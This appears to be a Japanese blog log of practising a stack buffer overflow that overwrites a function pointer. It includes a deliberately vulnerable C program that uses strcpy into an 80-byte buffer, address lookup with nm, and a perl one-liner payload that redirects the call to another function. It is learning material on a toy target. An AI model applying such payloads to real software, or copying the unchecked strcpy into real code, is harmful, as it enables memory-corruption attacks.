バッファオーバーフローで関数ポインタを書き換える練習。

まずはこのソースをコンパイル
テスト環境はこれ

[masami@moon:~/dvl/test]% gcc -v
Using built-in specs.
Target: x86_64-linux-gnu
Configured with: ../src/configure -v --enable-languages=c,c++,fortran,objc,obj-c++,treelang --prefix=/usr --enable-shared --with-system-zlib --libexecdir=/usr/lib --without-included-gettext --enable-threads=posix --enable-nls --with-gxx-include-dir=/usr/include/c++/4.2 --program-suffix=-4.2 --enable-clocale=gnu --enable-libstdcxx-debug --enable-objc-gc --enable-mpfr --disable-libmudflap --enable-checking=release --build=x86_64-linux-gnu --host=x86_64-linux-gnu --target=x86_64-linux-gnu
Thread model: posix
gcc version 4.2.3 (Debian 4.2.3-2)

これが対象のコード

// vuln1.c
#include 
#include 

void hello2(void)
{
	printf("hello world\n");
}

void hello1(void)
{
	printf("hello\n");
}

int main(int argc, char **argv)
{
	void (*f)(void) = hello1;
	char str[80];
	int i = 0;
	
	printf("f is [%p] : str is [%p]\n", &f, str);
	strcpy(str, argv[1]);
	printf("f = 0x%016x\n", f);
	while(i++ < 5)
		f();
		
	return 0;
}

hello1からhello2に関数を変更したいのでhello2のアドレスを探す。

[masami@moon:~/dvl/test]% nm vuln1 | grep hello2
0000000000400538 T hello2

まずは試しに動かしてアドレスを確認(テスト用に入れたprintf()で確認)。

[masami@moon:~/dvl/test]% ./vuln1 1
f is [0x7fffad8c3060] : str is [0x7fffad8c3010]
f = 0x0000000000400548
hello
hello
hello
hello
hello

strとfの差は80バイト。
それでは本番実行してみる。

 ./vuln1 `perl -e 'print "\x61"x80 . "\x38\x05\x40\x00\x00\x00\x00\x00;"'`
f is [0x7fff3e475b80] : str is [0x7fff3e475b30]
f = 0x0000000000400538
hello world
hello world
hello world
hello world
hello world

ほとんど一昨日のバッファオーバーフローの練習と同じ感じでできた。